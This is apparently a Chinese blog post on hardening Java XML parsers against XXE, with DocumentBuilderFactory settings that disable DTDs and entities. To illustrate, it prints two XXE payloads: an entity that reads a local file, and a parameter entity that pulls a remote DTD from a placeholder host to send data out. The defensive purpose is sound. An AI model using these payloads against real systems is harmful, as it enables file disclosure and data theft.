9102年Java里的XXE的防御

温故而知新,一年前的现在写的文章有点旧,而且不够准确,于是新开一篇介绍一下。

前段时间在搞应急,从一个啥都不会的小白学了一些XXE的简单poc构造和防御手段,网上攻击的poc很多,就不多说了,防御方法五花八门,而且有些防御根本就是无效的!!写篇文章分享一下,如何用Java彻底防御XXE。

Github地址 https://github.com/LeadroyaL/java-xxe-defense-demo

一、防御的思路

1、禁用dtd

例如打开 FEATURE_SECURE_PROCESSING

1
2
3
4
5
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
FEATURE = XMLConstants.FEATURE\_SECURE\_PROCESSING;
dbf.setFeature(FEATURE, true);
DocumentBuilder builder = dbf.newDocumentBuilder();

遇到有攻击倾向的输入会报如下的错误,

1
2
3
4
5
6
7
8
[Fatal Error] :2:10: 将功能 "http://apache.org/xml/features/disallow-doctype-decl" 设置为“真”时, 不允许使用 DOCTYPE。
org.xml.sax.SAXParseException; lineNumber: 2; columnNumber: 10; 将功能 "http://apache.org/xml/features/disallow-doctype-decl" 设置为“真”时, 不允许使用 DOCTYPE。
at com.sun.org.apache.xerces.internal.parsers.DOMParser.parse(DOMParser.java:257)
at com.sun.org.apache.xerces.internal.jaxp.DocumentBuilderImpl.parse(DocumentBuilderImpl.java:339)
at javax.xml.parsers.DocumentBuilder.parse(DocumentBuilder.java:121)
at com.leadroyal.xxe.sample.DocumentBuilderFactorySample.safe(DocumentBuilderFactorySample.java:31)
at com.leadroyal.xxe.sample.DocumentBuilderFactorySample.test(DocumentBuilderFactorySample.java:55)
at com.leadroyal.xxe.Main.main(Main.java:8)

同样,打开 "http://apache.org/xml/features/disallow-doctype-decl" 也可以成功防御。

1
2
3
4
5
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
String FEATURE = null;
FEATURE = "http://apache.org/xml/features/disallow-doctype-decl";
dbf.setFeature(FEATURE, true);
DocumentBuilder builder = dbf.newDocumentBuilder();

2、禁用通用实体

看一个通用实体的例子,会被赋值到数据里。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ENTITY local SYSTEM "file:///d:/1.txt" >
]>
<books>
&local;
</books>

禁用这个feature,就可以防止这种类型的攻击。

3、禁用参数实体

看一个参数实体的例子,会从远程拉dtd,解析内容,并且逐个调用。

1
2
3
4
5
6
7
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xdsec [
<!ENTITY % remote SYSTEM "http://xxx.xxx.xxx.xxx/1.dtd" >
%remote;%int;%send;
]>
<books>
</books>

禁用这个feature,就可以防止这种类型的攻击。 一般来说,为了安全,要么禁用dtd,要么同时禁用通用实体和参数实体。

二、防御的实践

移步 https://github.com/LeadroyaL/java-xxe-defense-demo 的readme,有一个记录配置的表格,有一个经过我测试的样例代码,这些足够使用了。